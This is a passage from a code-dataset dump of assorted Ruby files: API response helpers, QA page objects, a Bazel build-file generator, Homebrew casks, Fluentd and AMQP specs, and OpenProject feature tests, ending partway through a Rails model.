hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
266d40fc69e3915ee8129b431271753fa0474d50 | 2,054 | # frozen_string_literal: true
module ZohoHub
class Response
def initialize(params)
@params = params || {}
end
def invalid_data?
error_code?('INVALID_DATA')
end
def invalid_token?
error_code?('INVALID_TOKEN')
end
def internal_error?
error_code?('INTERNAL_ERROR')
end
def invalid_request?
error_code?('INVALID_REQUEST')
end
def authentication_failure?
error_code?('AUTHENTICATION_FAILURE')
end
def invalid_module?
error_code?('INVALID_MODULE')
end
def no_permission?
error_code?('NO_PERMISSION')
end
def mandatory_not_found?
error_code?('MANDATORY_NOT_FOUND')
end
def record_in_blueprint?
error_code?('RECORD_IN_BLUEPRINT')
end
def too_many_requests?
error_code?('TOO_MANY_REQUESTS')
end
def record_not_in_process?
error_code?('RECORD_NOT_IN_PROCESS')
end
def record_not_found?
error_code?('RESOURCE_NOT_FOUND')
end
def empty?
@params.empty?
end
def data
data = @params[:data] if @params.dig(:data)
data || @params
end
def msg
first_data = data.is_a?(Array) ? data.first : data
msg = first_data[:message]
if first_data.dig(:details, :expected_data_type)
expected = first_data.dig(:details, :expected_data_type)
field = first_data.dig(:details, :api_name)
parent_api_name = first_data.dig(:details, :parent_api_name)
msg << ", expected #{expected} for '#{field}'"
msg << " in #{parent_api_name}" if parent_api_name
end
msg
end
# Error response examples:
# {"data":[{"code":"INVALID_DATA","details":{},"message":"the id given...","status":"error"}]}
# {:code=>"INVALID_TOKEN", :details=>{}, :message=>"invalid oauth token", :status=>"error"}
def error_code?(code)
if data.is_a?(Array)
return false if data.size > 1
return data.first[:code] == code
end
data[:code] == code
end
end
end
| 21.395833 | 98 | 0.623174 |
6243dc92b457d6597e34077be3c7b7017b37be42 | 1,681 | # frozen_string_literal: true
module QA
module Page
module Project
module Job
class Show < QA::Page::Base
include Component::CiBadgeLink
view 'app/assets/javascripts/jobs/components/log/log.vue' do
element :job_log_content
end
view 'app/assets/javascripts/jobs/components/stages_dropdown.vue' do
element :pipeline_path
end
view 'app/assets/javascripts/jobs/components/sidebar.vue' do
element :retry_button
end
def successful?(timeout: 60)
raise "Timed out waiting for the build trace to load" unless loaded?
raise "Timed out waiting for the status to be a valid completed state" unless completed?(timeout: timeout)
job_log = find_element(:job_log_content).text
QA::Runtime::Logger.debug(" \n\n ------- Job log: ------- \n\n #{job_log} \n -------")
passed?
end
# Reminder: You may wish to wait for a particular job status before checking output
def output(wait: 5)
result = ''
wait_until(reload: false, max_duration: wait, sleep_interval: 1) do
result = find_element(:job_log_content).text
result.include?('Job')
end
result
end
def retry!
click_element :retry_button
end
private
def loaded?(wait: 60)
wait_until(reload: true, max_duration: wait, sleep_interval: 1) do
has_element?(:job_log_content, wait: 1)
end
end
end
end
end
end
end
| 27.557377 | 118 | 0.566924 |
e8ac4419211f4b27f6ee642e6e9ce0e89e5ec6dc | 5,905 | #!/usr/bin/env ruby
# frozen_string_literal: true
TEMPLATE = <<~MAIN_TEMPLATE
load(
"{workspace_name}//ruby:defs.bzl",
"rb_library",
)
package(default_visibility = ["//visibility:public"])
rb_library(
name = "bundler_setup",
srcs = ["lib/bundler/setup.rb"],
visibility = ["//visibility:private"],
)
rb_library(
name = "bundler",
srcs = glob(
include = [
"bundler/**/*",
],
),
rubyopt = ["{bundler_setup}"],
)
# PULL EACH GEM INDIVIDUALLY
MAIN_TEMPLATE
GEM_TEMPLATE = <<~GEM_TEMPLATE
rb_library(
name = "{name}",
srcs = glob(
include = [
"lib/ruby/{ruby_version}/gems/{name}-{version}*/**",
"lib/ruby/{ruby_version}/specifications/{name}-{version}*.gemspec",
"lib/ruby/{ruby_version}/cache/{name}-{version}*.gem",
"bin/*"
],
exclude = {exclude},
),
deps = {deps},
includes = ["lib/ruby/{ruby_version}/gems/{name}-{version}*/lib"],
rubyopt = ["{bundler_setup}"],
)
GEM_TEMPLATE
ALL_GEMS = <<~ALL_GEMS
rb_library(
name = "gems",
srcs = glob(
{gems_lib_files},
),
includes = {gems_lib_paths},
rubyopt = ["{bundler_setup}"],
)
ALL_GEMS
GEM_LIB_PATH = lambda do |ruby_version, gem_name, gem_version|
"lib/ruby/#{ruby_version}/gems/#{gem_name}-#{gem_version}*/lib"
end
require 'bundler'
require 'json'
require 'stringio'
require 'fileutils'
require 'tempfile'
class BundleBuildFileGenerator
attr_reader :workspace_name,
:repo_name,
:build_file,
:gemfile_lock,
:excludes,
:ruby_version
def initialize(workspace_name:,
repo_name:,
build_file: 'BUILD.bazel',
gemfile_lock: 'Gemfile.lock',
excludes: nil)
@workspace_name = workspace_name
@repo_name = repo_name
@build_file = build_file
@gemfile_lock = gemfile_lock
@excludes = excludes
# This attribute returns 0 as the third minor version number, which happens to be
# what Ruby uses in the PATH to gems, eg. ruby 2.6.5 would have a folder called
# ruby/2.6.0/gems for all minor versions of 2.6.*
@ruby_version ||= (RUBY_VERSION.split('.')[0..1] << 0).join('.')
end
def generate!
# when we append to a string many times, using StringIO is more efficient.
template_out = StringIO.new
# In Bazel we want to use __FILE__ because __dir__points to the actual sources, and we are
# using symlinks here.
#
# rubocop:disable Style/ExpandPathArguments
bin_folder = File.expand_path('../bin', __FILE__)
binaries = Dir.glob("#{bin_folder}/*").map do |binary|
'bin/' + File.basename(binary) if File.executable?(binary)
end
# rubocop:enable Style/ExpandPathArguments
template_out.puts TEMPLATE
.gsub('{workspace_name}', workspace_name)
.gsub('{repo_name}', repo_name)
.gsub('{ruby_version}', ruby_version)
.gsub('{binaries}', binaries.to_s)
.gsub('{bundler_setup}', bundler_setup_require)
# strip bundler version so we can process this file
remove_bundler_version!
# Append to the end specific gem libraries and dependencies
bundle = Bundler::LockfileParser.new(Bundler.read_file(gemfile_lock))
gem_lib_paths = []
bundle.specs.each { |spec| register_gem(spec, template_out, gem_lib_paths) }
template_out.puts ALL_GEMS
.gsub('{gems_lib_files}', gem_lib_paths.map { |p| "#{p}/**/*.rb" }.to_s)
.gsub('{gems_lib_paths}', gem_lib_paths.to_s)
.gsub('{bundler_setup}', bundler_setup_require)
::File.open(build_file, 'w') { |f| f.puts template_out.string }
end
private
def bundler_setup_require
@bundler_setup_require ||= "-r#{runfiles_path('lib/bundler/setup.rb')}"
end
def runfiles_path(path)
"${RUNFILES_DIR}/#{repo_name}/#{path}"
end
# This method scans the contents of the Gemfile.lock and if it finds BUNDLED WITH
# it strips that line + the line below it, so that any version of bundler would work.
def remove_bundler_version!
contents = File.read(gemfile_lock)
return unless contents =~ /BUNDLED WITH/
temp_gemfile_lock = "#{gemfile_lock}.no-bundle-version"
system %(sed -n '/BUNDLED WITH/q;p' "#{gemfile_lock}" > #{temp_gemfile_lock})
if File.symlink?(gemfile_lock)
::FileUtils.rm_f(gemfile_lock) # it's just a symlink
end
::FileUtils.move(temp_gemfile_lock, gemfile_lock, force: true)
end
def register_gem(spec, template_out, gem_lib_paths)
gem_lib_paths << GEM_LIB_PATH[ruby_version, spec.name, spec.version]
deps = spec.dependencies.map { |d| ":#{d.name}" }
deps += [':bundler_setup']
exclude_array = excludes[spec.name] || []
# We want to exclude files and folder with spaces in them
exclude_array += ['**/* *.*', '**/* */*']
template_out.puts GEM_TEMPLATE
.gsub('{exclude}', exclude_array.to_s)
.gsub('{name}', spec.name)
.gsub('{version}', spec.version.to_s)
.gsub('{deps}', deps.to_s)
.gsub('{repo_name}', repo_name)
.gsub('{ruby_version}', ruby_version)
.gsub('{bundler_setup}', bundler_setup_require)
end
end
# ruby ./create_bundle_build_file.rb "BUILD.bazel" "Gemfile.lock" "repo_name" "[]" "wsp_name"
if $PROGRAM_NAME == __FILE__
if ARGV.length != 5
warn("USAGE: #{$PROGRAM_NAME} BUILD.bazel Gemfile.lock repo-name [excludes-json] workspace-name")
exit(1)
end
build_file, gemfile_lock, repo_name, excludes, workspace_name, * = *ARGV
BundleBuildFileGenerator.new(build_file: build_file,
gemfile_lock: gemfile_lock,
repo_name: repo_name,
excludes: JSON.parse(excludes),
workspace_name: workspace_name)
.generate!
end
| 30.91623 | 101 | 0.633362 |
ed5a0ddd3e74c6ea235cc7b3dd0c844dd7c4cd72 | 79 | # frozen_string_literal: true
class ValidationsReflex < ApplicationReflex
end
| 15.8 | 43 | 0.848101 |
f88bfc8f19c480331f69c320819e5e669ecec589 | 86 | module FormHelpers
def submit_form
find('input[type="submit"]').click
end
end
| 14.333333 | 38 | 0.709302 |
1c96b3c7912b7f23ef613e86f39bfc70c444808b | 1,801 | #
# Description: This method sets the retirement_state to retiring
#
module ManageIQ
module Automate
module Cloud
module VM
module Retirement
module StateMachines
module Methods
class StartRetirement
def initialize(handle = $evm)
@handle = handle
end
def main
log_info
@vm = @handle.root['vm']
vm_validation
start_retirement
end
private
def log_info
@handle.log("info", "Listing Root Object Attributes:")
@handle.root.attributes.sort.each { |k, v| @handle.log("info", "\t#{k}: #{v}") }
@handle.log("info", "===========================================")
end
def vm_validation
if @vm.nil?
raise 'VM Object not found'
end
if @vm.retired?
raise 'VM is already retired'
end
if @vm.retiring?
raise 'VM is already in the process of being retired'
end
end
def start_retirement
@handle.log('info', "VM before start_retirement: #{@vm.inspect} ")
@handle.create_notification(:type => :vm_retiring, :subject => @vm)
@vm.start_retirement
@handle.log('info', "VM after start_retirement: #{@vm.inspect} ")
end
end
end
end
end
end
end
end
end
ManageIQ::Automate::Cloud::VM::Retirement::StateMachines::Methods::StartRetirement.new.main
| 28.587302 | 98 | 0.44975 |
e919ca02690cd2f277c8ff6e84ccc233f4c22422 | 1,354 | cask 'vlc' do
version '2.2.8'
sha256 '4406e025c566c5703ab11e53070d3e399680ddfb8994b60cb753079dffd2a027'
url "https://get.videolan.org/vlc/#{version}/macosx/vlc-#{version}.dmg"
appcast 'http://update.videolan.org/vlc/sparkle/vlc-intel64.xml',
checkpoint: '2e8debe5851a85536ff4ef24cff5bbff2cbce7c17bc3902eeccbbf1636c4dc67'
name 'VLC media player'
homepage 'https://www.videolan.org/vlc/'
gpg "#{url}.asc", key_id: '65f7c6b4206bd057a7eb73787180713be58d1adc'
auto_updates true
app 'VLC.app'
# shim script (https://github.com/caskroom/homebrew-cask/issues/18809)
shimscript = "#{staged_path}/vlc.wrapper.sh"
binary shimscript, target: 'vlc'
preflight do
IO.write shimscript, <<~EOS
#!/bin/sh
'#{appdir}/VLC.app/Contents/MacOS/VLC' "$@"
EOS
end
zap trash: [
'~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments/org.videolan.vlc.sfl*',
'~/Library/Application Support/org.videolan.vlc',
'~/Library/Application Support/VLC',
'~/Library/Preferences/org.videolan.vlc',
'~/Library/Preferences/org.videolan.vlc.plist',
'~/Library/Saved Application State/org.videolan.vlc.savedState',
'~/Library/Caches/org.videolan.vlc',
]
end
| 37.611111 | 148 | 0.676514 |
f7a420623cfbdca894ca3eda3ecc94272733bcd8 | 1,773 | require "spec_helper"
require "shared/configured"
describe MetricFu::Configuration, "for templates" do
it_behaves_like "configured" do
describe "when there is no CC_BUILD_ARTIFACTS environment variable" do
before(:each) do
ENV["CC_BUILD_ARTIFACTS"] = nil
get_new_config
end
it "should set @template_directory to the lib/templates relative " + "to @metric_fu_root_directory" do
expected_template_dir = MetricFu.root.join("lib", "templates").to_s
expect(template_directory).to eq(expected_template_dir)
end
it "should set @template_class to MetricFu::Templates::MetricsTemplate by default" do
expect(template_class).to eq(MetricFu::Templates::MetricsTemplate)
end
describe "when a templates configuration is given" do
before do
class DummyTemplate; end
@config.templates_configuration do |config|
config.template_class = DummyTemplate
config.link_prefix = "http:/"
config.syntax_highlighting = false
config.darwin_txmt_protocol_no_thanks = false
end
end
it "should set given template_class" do
expect(template_class).to eq(DummyTemplate)
end
it "should set given link_prefix" do
expect(MetricFu::Formatter::Templates.option("link_prefix")).to eq("http:/")
end
it "should set given darwin_txmt_protocol_no_thanks" do
expect(MetricFu::Formatter::Templates.option("darwin_txmt_protocol_no_thanks")).to be_falsey
end
it "should set given syntax_highlighting" do
expect(MetricFu::Formatter::Templates.option("syntax_highlighting")).to be_falsey
end
end
end
end
end
| 34.096154 | 116 | 0.672307 |
f7005a81b0b696205728803dd570954c111019c9 | 1,582 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'tdameritrade/version'
Gem::Specification.new do |spec|
spec.name = "tdameritrade-api-ruby"
spec.version = TDAmeritrade::VERSION
spec.authors = ["Winston Kotzan"]
spec.email = ["[email protected]"]
spec.summary = %q{This is a simple gem for connecting to the TD Ameritrade Developers OAuth API}
spec.description = "This is a gem for connecting to the OAuth/JSON-based TD Ameritrade Developers API released " \
"in 2018. Go to https://developer.tdameritrade.com/ for the official documentation and to " \
"create your OAuth application."
spec.homepage = "https://github.com/wakproductions/tdameritrade-api-ruby"
spec.license = "MIT"
spec.files = [`git ls-files`.split($/)] + Dir["lib/**/*"]
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]
spec.add_dependency "bundler", "~> 1.5"
spec.add_dependency "rake"
spec.add_dependency "hashie"
spec.add_dependency "httparty", "~> 0.13"
spec.add_dependency "activesupport", "~> 4.0"
spec.add_dependency "nokogiri", "~> 1.6"
spec.add_development_dependency "clipboard"
spec.add_development_dependency "httplog"
spec.add_development_dependency "rspec", ">= 3.2"
spec.add_development_dependency "pry"
spec.add_development_dependency "webmock"
end
| 43.944444 | 118 | 0.675727 |
87f31da4f875577919147496ecb187967857bba6 | 194 | require 'rest-client'
response = RestClient.get 'https://careapi.coronasafe.in/api/v1/state/'
states = JSON.parse(response)['results']
states.each { |state| State.create!(name: state['name']) }
| 38.8 | 71 | 0.726804 |
d5ecb2bef297e68891e487c914f6c92d919829ba | 880 | # frozen_string_literal: true
require 'active_support/core_ext/class'
require 'active_support/core_ext/module/delegation'
module ERBLint
class Reporter
def self.create_reporter(format, *args)
reporter_klass = "#{ERBLint::Reporters}::#{format.to_s.camelize}Reporter".constantize
reporter_klass.new(*args)
end
def self.available_format?(format)
available_formats.include?(format.to_s)
end
def self.available_formats
descendants
.map(&:to_s)
.map(&:demodulize)
.map(&:underscore)
.map { |klass_name| klass_name.sub("_reporter", "") }
.sort
end
def initialize(stats, autocorrect)
@stats = stats
@autocorrect = autocorrect
end
def preview; end
def show; end
private
attr_reader :stats, :autocorrect
delegate :processed_files, to: :stats
end
end
| 22 | 91 | 0.665909 |
87b4495e54cf480a607609d75d5b28a18c00a1f7 | 1,268 | require 'date'
WEEKS, DAYS = 6, 7
# 读入假日数据文件
@holiday = IO.readlines("q62-holiday.txt").map{|h|
h.split('/').map(&:to_i)
}
# 读入调休工作日数据文件
@extra_workday = IO.readlines("q62-extra-workday.txt").map{|h|
h.split('/').map(&:to_i)
}
# 计算符合条件的最大长方形的面积
def max_rectangle(cal)
rect = 0
WEEKS.times{|sr| # 起始行
DAYS.times{|sc| # 起始列
sr.upto(WEEKS){|er| # 终点行
sc.upto(DAYS){|ec| # 终点列
is_weekday = true # 起始点和终点之间有没有工作日以外的日子
sr.upto(er){|r|
sc.upto(ec){|c|
is_weekday = false if cal[c + r * DAYS] == 0
}
}
if is_weekday then
rect = [rect, (er - sr + 1) * (ec - sc + 1)].max
end
}
}
}
}
rect
end
# 指定年份月份,获取最大长方形面积
def calc(y, m)
cal = Array.new(WEEKS * DAYS, 0)
first = wday = Date.new(y, m, 1).wday # 获取该月1日的星期
Date.new(y, m, -1).day.times{|d| # 循环处理直到该月结束
if (1 <= wday && wday <= 5 && [email protected]?([y, m, d + 1])) || @extra_workday.include?([y, m, d + 1])
cal[first + d] = 1
end
wday = (wday + 1) % DAYS
}
max_rectangle(cal)
end
yyyymm = [*2006..2015].product([*1..12])
puts yyyymm.map{|y ,m| calc(y, m)}.inject(:+)
| 24.862745 | 111 | 0.495268 |
ed7c90f58401c1128d902c1cb08fec0a13458dbd | 270 | class OnyxMountainlion < Cask
url 'http://joel.barriere.pagesperso-orange.fr/dl/108/OnyX.dmg'
homepage 'http://www.titanium.free.fr/downloadonyx.php'
version '2.7.4'
sha256 'e025125b06fc78322347f8549871c67e570131af83e8bb18b62ed43b65d7369d'
link 'OnyX.app'
end
| 33.75 | 75 | 0.785185 |
b938756aec8a30505a7963d0e7d94958744c3866 | 844 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require "functions_framework"
# Create an http function that uses return
FunctionsFramework.http "return_http" do |request|
return "I received a GET request: #{request.url}" if request.request_method == "GET"
"I received a #{request.request_method} request."
end
| 38.363636 | 86 | 0.763033 |
3399e6ad486748941106d874383bff31a54014e4 | 516 | require 'formula'
class Libresample < Formula
homepage 'https://ccrma.stanford.edu/~jos/resample/Available_Software.html'
url 'http://ftp.de.debian.org/debian/pool/main/libr/libresample/libresample_0.1.3.orig.tar.gz'
sha1 '85339a6114627e27010856f42a3948a545ca72de'
def install
system "./configure", "--disable-debug", "--disable-dependency-tracking",
"--prefix=#{prefix}"
system "make"
lib.install 'libresample.a'
include.install 'include/libresample.h'
end
end
| 32.25 | 96 | 0.70155 |
188051f5c2568869834127903528e684574909e6 | 5,586 | # frozen_string_literal: true
require_relative '../../helper'
require 'fluent/plugin/filter_throttle'
SingleCov.covered!
describe Fluent::Plugin::ThrottleFilter do
include Fluent::Test::Helpers
before do
Fluent::Test.setup
end
after do
if instance_variable_defined?(:@driver)
assert @driver.error_events.empty?, "Errors detected: " + @driver.error_events.map(&:inspect).join("\n")
end
end
def create_driver(conf='')
@driver = Fluent::Test::Driver::Filter.new(Fluent::Plugin::ThrottleFilter).configure(conf)
end
describe '#configure' do
it 'raises on invalid group_bucket_limit' do
assert_raises { create_driver("group_bucket_limit 0") }
end
it 'raises on invalid group_bucket_period_s' do
assert_raises { create_driver("group_bucket_period_s 0") }
end
it 'raises on invalid group_reset_rate_s' do
assert_raises { create_driver("group_bucket_limit 10\ngroup_bucket_period_s 10\ngroup_reset_rate_s 2") }
end
it 'raises on invalid group_reset_rate_s' do
assert_raises { create_driver("group_bucket_limit 10\ngroup_bucket_period_s 10\ngroup_reset_rate_s -2") }
end
it 'raises on invalid group_warning_delay_s' do
assert_raises { create_driver("group_warning_delay_s 0") }
end
end
describe '#filter' do
it 'throttles per group key' do
driver = create_driver <<~CONF
group_key "group"
group_bucket_period_s 1
group_bucket_limit 5
CONF
driver.run(default_tag: "test") do
driver.feed([[event_time, {"msg": "test", "group": "a"}]] * 10)
driver.feed([[event_time, {"msg": "test", "group": "b"}]] * 10)
end
groups = driver.filtered_records.group_by { |r| r[:group] }
assert_equal(5, groups["a"].size)
assert_equal(5, groups["b"].size)
end
it 'allows composite group keys' do
driver = create_driver <<~CONF
group_key "group1,group2"
group_bucket_period_s 1
group_bucket_limit 5
CONF
driver.run(default_tag: "test") do
driver.feed([[event_time, {"msg": "test", "group1": "a", "group2": "b"}]] * 10)
driver.feed([[event_time, {"msg": "test", "group1": "b", "group2": "b"}]] * 10)
driver.feed([[event_time, {"msg": "test", "group1": "c"}]] * 10)
driver.feed([[event_time, {"msg": "test", "group2": "c"}]] * 10)
end
groups = driver.filtered_records.group_by { |r| r[:group1] }
groups.each { |k, g| groups[k] = g.group_by { |r| r[:group2] } }
assert_equal(5, groups["a"]["b"].size)
assert_equal(5, groups["b"]["b"].size)
assert_equal(5, groups["c"][nil].size)
assert_equal(5, groups[nil]["c"].size)
end
it 'drops until rate drops below group_reset_rate_s' do
driver = create_driver <<~CONF
group_bucket_period_s 60
group_bucket_limit 180
group_reset_rate_s 2
CONF
logs_per_sec = [4, 4, 2, 1, 2]
driver.run(default_tag: "test") do
(0...logs_per_sec.size*60).each do |i|
Time.stubs(now: Time.at(i))
min = i / 60
driver.feed([[event_time, min: min]] * logs_per_sec[min])
end
end
groups = driver.filtered_records.group_by { |r| r[:min] }
messages_per_minute = []
(0...logs_per_sec.size).each do |min|
messages_per_minute[min] = groups.fetch(min, []).size
end
assert_equal [
180, # hits the limit in the first minute
0, # still >= group_reset_rate_s
0, # still >= group_reset_rate_s
59, # now < group_reset_rate_s, stop dropping logs (except the first log is dropped)
120 # > group_reset_rate_s is okay now because haven't hit the limit
], messages_per_minute
end
it 'does not throttle when in log only mode' do
driver = create_driver <<~CONF
group_bucket_period_s 2
group_bucket_limit 4
group_reset_rate_s 2
group_drop_logs false
CONF
records_expected = 0
driver.run(default_tag: "test") do
(0...10).each do |i|
Time.stubs(now: Time.at(i))
count = [1,8 - i].max
records_expected += count
driver.feed((0...count).map { |j| [event_time, msg: "test#{i}-#{j}"] }) # * count)
end
end
assert_equal records_expected, driver.filtered_records.size
assert driver.logs.any? { |log| log.include?('rate exceeded') }
assert driver.logs.any? { |log| log.include?('rate back down') }
end
end
describe 'logging' do
it 'logs when rate exceeded once per group_warning_delay_s' do
driver = create_driver <<~CONF
group_bucket_period_s 2
group_bucket_limit 2
group_warning_delay_s 3
CONF
logs_per_sec = 4
driver.run(default_tag: "test") do
(0...10).each do |i|
Time.stubs(now: Time.at(i))
driver.feed([[event_time, msg: "test"]] * logs_per_sec)
end
end
assert_equal 4, driver.logs.select { |log| log.include?('rate exceeded') }.size
end
it 'logs when rate drops below group_reset_rate_s' do
driver = create_driver <<~CONF
group_bucket_period_s 2
group_bucket_limit 4
group_reset_rate_s 2
CONF
driver.run(default_tag: "test") do
(0...10).each do |i|
Time.stubs(now: Time.at(i))
driver.feed([[event_time, msg: "test"]] * [1,8 - i].max)
end
end
assert driver.logs.any? { |log| log.include?('rate back down') }
end
end
end
| 30.52459 | 111 | 0.617078 |
91a48c2da573be63b80aca30787b95c7b7514b3a | 514 | class HomeController < ApplicationController
def index
end
def menu
@sections = Section.all
if params[:section_id].present?
@current_section = Section.find(params[:section_id])
@items = @current_section.food_items
else
@items = FoodItem.all
end
if params[:search]
@items = FoodItem.search(params[:search])
end
if params[:sort_column]
@items = @items.order("#{params[:sort_column]} #{params[:sort_type]}")
end
end
def contact_us
end
end
| 19.769231 | 76 | 0.651751 |
ab2bc2366156661d06f69dc71d5dbbd36293b04b | 318 | cask :v1 => 'nocturne' do
version '2.0.0'
sha256 '062ae6b4619ab518650b2f502aaeb7a864bf69e45ce08dec8b5a3f34a027a347'
url "https://blacktree-nocturne.googlecode.com/files/Nocturne.#{version}.zip"
name 'Nocturne'
homepage 'http://code.google.com/p/blacktree-nocturne/'
license :oss
app 'Nocturne.app'
end
| 26.5 | 79 | 0.751572 |
7a110db2484dc1fa46de92f49d05ab88139383f2 | 515 | require "find"
version = ARGV.shift
def insert_url_after_html_tag(html, url)
comment = "<!-- Online page at #{url} -->"
html.gsub(/(<html[^>]*>)/i){ $1 + comment }
end
Dir.chdir("html/#{version}") {
Find.find(".") {|file|
next unless File.extname(file) == ".html"
path = file[1..-1] # remove first .
path.gsub!(/-([a-z])/){ $1.upcase } # -a -> A
url = "http://docs.ruby-lang.org/ja/#{version}#{path}"
print "."
File.write(file, insert_url_after_html_tag(File.read(file), url))
}
}
| 27.105263 | 69 | 0.584466 |
d504bf85459371366db1882eaeec51f21326cf59 | 2,600 | # encoding: utf-8
require 'spec_helper'
describe "Unacknowledged messages" do
#
# Environment
#
include EventedSpec::AMQPSpec
default_timeout 5
amqp_before do
@connection1 = AMQP.connect
@connection2 = AMQP.connect
@connection3 = AMQP.connect
@channel1 = AMQP::Channel.new(@connection1)
@channel2 = AMQP::Channel.new(@connection2)
@channel3 = AMQP::Channel.new(@connection3)
[@channel1, @channel2, @channel3].each { |ch| ch.on_error { fail } }
@channel1.prefetch(3)
@channel2.prefetch(1)
end
after(:all) do
AMQP.cleanup_state
done
end
#
# Examples
#
# this is a spec example based on one of the Working With Queues doc guides.
# It is somewhat hairy since it imitates 3 apps in a single process
# but demonstrates redeliveries pretty well. MK.
it "are redelivered to alternate consumers when the 'primary' one disconnects" do
number_of_messages_app2_received = 0
expected_number_of_deliveries = 21
redelivery_values = Array.new
exchange = @channel3.direct("amq.direct")
queue1 = @channel1.queue("amqpgem.examples.acknowledgements.explicit", :auto_delete => false)
# purge the queue so that we don't get any redeliveries from previous runs
queue1.purge
queue1.bind(exchange).subscribe(:ack => true) do |metadata, payload|
# acknowledge some messages, they will be removed from the queue
if metadata.headers["i"] < 10
@channel1.acknowledge(metadata.delivery_tag, false)
else
# some messages are not ack-ed and will remain in the queue for redelivery
# when app #1 connection is closed (either properly or due to a crash)
end
end
queue2 = @channel2.queue!("amqpgem.examples.acknowledgements.explicit", :auto_delete => false)
queue2.subscribe(:ack => true) do |metadata, payload|
redelivery_values << metadata.redelivered?
# app 2 always acks messages
metadata.ack
number_of_messages_app2_received += 1
end
EventMachine.add_timer(2.0) {
# app1 quits/crashes
@connection1.close
}
# 0.5 seconds later, publish a bunch of messages
EventMachine.add_timer(0.5) {
30.times do |i|
exchange.publish("Message ##{i}", :headers => { :i => i })
i += 1
end
}
done(4.8) {
number_of_messages_app2_received.should be >= expected_number_of_deliveries
# 3 last messages are redeliveries
redelivery_values.last(7).should == [false, false, false, false, true, true, true]
}
end
end
| 26.804124 | 101 | 0.667308 |
38b6def881807172a5938ba1960ad0986806677a | 4,123 | #-- copyright
# OpenProject is a project management system.
# Copyright (C) 2012-2017 the OpenProject Foundation (OPF)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2017 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See doc/COPYRIGHT.rdoc for more details.
#++
require 'spec_helper'
describe 'Multi-value custom fields creation', type: :feature, js: true do
let(:admin) { FactoryGirl.create(:admin) }
def drag_and_drop(handle, to)
scroll_to_element(handle)
page
.driver
.browser
.action
.move_to(handle.native)
.click_and_hold(handle.native)
.perform
scroll_to_element(to)
page
.driver
.browser
.action
.move_to(to.native)
.release
.perform
end
before do
login_as(admin)
visit custom_fields_path
end
it 'can create and reorder custom field list values' do
# Create CF
click_on 'Create a new custom field'
fill_in 'custom_field_name', with: 'My List CF'
select 'List', from: 'custom_field_field_format'
expect(page).to have_selector('input#custom_field_custom_options_attributes_0_value')
fill_in 'custom_field_custom_options_attributes_0_value', with: 'A'
# Add new row
find('#add-custom-option').click
expect(page).to have_selector('input#custom_field_custom_options_attributes_1_value')
fill_in 'custom_field_custom_options_attributes_1_value', with: 'B'
# Add new row
find('#add-custom-option').click
expect(page).to have_selector('input#custom_field_custom_options_attributes_2_value')
fill_in 'custom_field_custom_options_attributes_2_value', with: 'C'
click_on 'Save'
# Edit again
page.find('a', text: 'My List CF').click
expect(page).to have_selector('input#custom_field_custom_options_attributes_0_value[value=A]')
expect(page).to have_selector('input#custom_field_custom_options_attributes_1_value[value=B]')
expect(page).to have_selector('input#custom_field_custom_options_attributes_2_value[value=C]')
# Expect correct values
cf = CustomField.last
expect(cf.name).to eq('My List CF')
expect(cf.possible_values.map(&:value)).to eq %w(A B C)
# Drag and drop
# We need to hack a target for where to drag the row to
page.execute_script <<-JS
jQuery('#custom-field-dragula-container')
.append('<tr class="__drag_and_drop_end_of_list"><td colspan="4" style="height: 100px"></td></tr>');
JS
rows = page.all('tr.custom-option-row')
expect(rows.length).to eq(3)
drag_and_drop rows[0].find('.dragula-handle'), page.find('.__drag_and_drop_end_of_list')
sleep 1
page.execute_script <<-JS
jQuery('.__drag_and_drop_end_of_list').remove()
JS
click_on 'Save'
# Edit again
expect(page).to have_selector('input#custom_field_custom_options_attributes_0_value[value=B]')
expect(page).to have_selector('input#custom_field_custom_options_attributes_1_value[value=C]')
expect(page).to have_selector('input#custom_field_custom_options_attributes_2_value[value=A]')
cf.reload
expect(cf.name).to eq('My List CF')
expect(cf.possible_values.map(&:value)).to eq %w(B C A)
end
end
| 33.795082 | 108 | 0.724715 |
33cfb80818cdd7f48caea6ee38174d33a85641a6 | 1,438 | module Effective
class Region < ActiveRecord::Base
include RegionOverride
self.table_name = EffectiveRegions.regions_table_name.to_s
belongs_to :regionable, :polymorphic => true
# structure do
# title :string
# content :text
# snippets :text
# timestamps
# end
serialize :snippets, HashWithIndifferentAccess
scope :global, -> { where("#{EffectiveRegions.regions_table_name}.regionable_type IS NULL").where("#{EffectiveRegions.regions_table_name}.regionable_id IS NULL") }
scope :with_snippets, -> { where("#{EffectiveRegions.regions_table_name}.snippets ILIKE ?", '%snippet_%') }
validates_presence_of :title
def snippets
self[:snippets] || HashWithIndifferentAccess.new()
end
# Hash of the Snippets objectified
#
# Returns a Hash of {'snippet_1' => CurrentUserInfo.new(snippets[:key]['options'])}
def snippet_objects(locals = {})
locals = {} unless locals.kind_of?(Hash)
